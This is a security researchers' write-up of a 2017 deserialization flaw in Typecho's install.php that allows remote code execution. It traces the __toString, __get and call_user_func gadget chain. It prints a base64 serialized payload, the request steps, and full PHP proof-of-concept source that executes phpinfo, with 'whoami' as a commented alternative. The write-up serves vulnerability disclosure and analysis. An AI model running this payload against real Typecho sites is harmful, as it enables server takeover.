Author: LoRexxar'@Knownsec 404 Team
Chinese version: https://paper.seebug.org/424/
Typecho is a PHP Blogging Platform. Its database includes Mysql,PostgreSQL,SQLite and it is an open-source program under the GPL version 2 license. It uses SVN to do version synchronization.
On October 13, 2017, Typecho revealed a front-end code execution vulnerability. Knownsec 404 Team successfully made recurrence of this vulnerability.
Our security researchers confirmed that this vulnerability can execute code indefinitely and cause getshell.
Open Typecho
Generate the corresponding payload
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Set the appropriate cookie and send the request
http://127.0.0.1/install.php?finish
phpinfo excuted
The entry point of the vulnerability is in install.php. There are two judgments before entering install.php.
//Determine if it is installed if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; } // Block possible cross-site requests if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
Just pass the GET parameter finish and set the referer to the site URL.
Find the entry of the vulnerability - install.php line 232 to line 237
It seems clear that it is a deserialization vulnerability
The problem is how to use it. There should be corresponding magic methods. Only a few of them are more critical
__destruct() __wakeup() __toString()
__destruct ()
is automatically called when the object is destroyed. __Wakeup
is automatically called when deserialization, and__toString ()
is automatically called when the object is called.
If the deserialization constructed is an array, and the adapter is set to a certain class, the __toString
method of the corresponding class can be triggered.
Looking for all toString methods, I only found one class method that can be used for the time being.
It is at line 223, /var/Typecho/Feed.php
Analyze the tostring function
Line 290 calls $ item ['author']-> screenName
, which is a private variable of the current class
Line 358 also calls the same variable, which should also be available here
A special magic method __get
is mentioned here.__Get
will be called when reading the value of an inaccessible property. We can set the item to call the __get
magic method at a certain location.
line 269 in /var/Typecho/Request.php may be the only __get
method available.
Follow the get function
Finally at line 159 applyFilter function
We found the call_user_func
function.
Trace the entire utilization chain - We can control the private variables in the Typecho_Request
class by settingitem ['author']
, so that both_filter
and _params ['screenName']
in the class can be controlled, so is the call_user_func
function variable, and the arbitrary code is executed.
Though we constructed the PoC according to all the processes above, the server returned 500 after we sent a request.
Review the code
At the beginning of install.php, ob_start ()
is called
The explanation of ob_start
on php.net is like this.
Because the object injection code above triggers the original exception, which causes ob_end_clean ()
to execute, the original output will be cleaned in the buffer.
We must think of a way to force exit so the original buffer data will be output.
Here are two ways.
1. Because the call_user_func
function is a loop, we can set the array to control the function to be excuted the second time, find an exit and the data in the buffer will be printed out.
2. Another method is to try to cause an error after the command is executed. The statement error will be forced to stop, and ew can get the data in the buffer.
After solving this problem, the entire ROP chain is established.
<?php class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { // $this->_params['screenName'] = 'whoami'; $this->_params['screenName'] = -1; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; / ** Define ATOM 1.0 type * / ????const ATOM1 = 'ATOM 1.0'; ????/ ** Define RSS time format * / ????const DATE_RFC822 = 'r'; ????/ ** Define ATOM time format * / ????const DATE_W3CDTF = 'c'; ????/ ** Define line terminator * / const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $x = new Typecho_Feed(); $a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?>
[1] Typecho official website
[2] Typecho github
[3] Typecho official patch
[4] Typecho install.php deserialization resulting in arbitrary code execution
We received analysis of the same vulnerability from p0 on October 25. Thank you for your submission.http://p0sec.net/index.php/archives/114/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1097/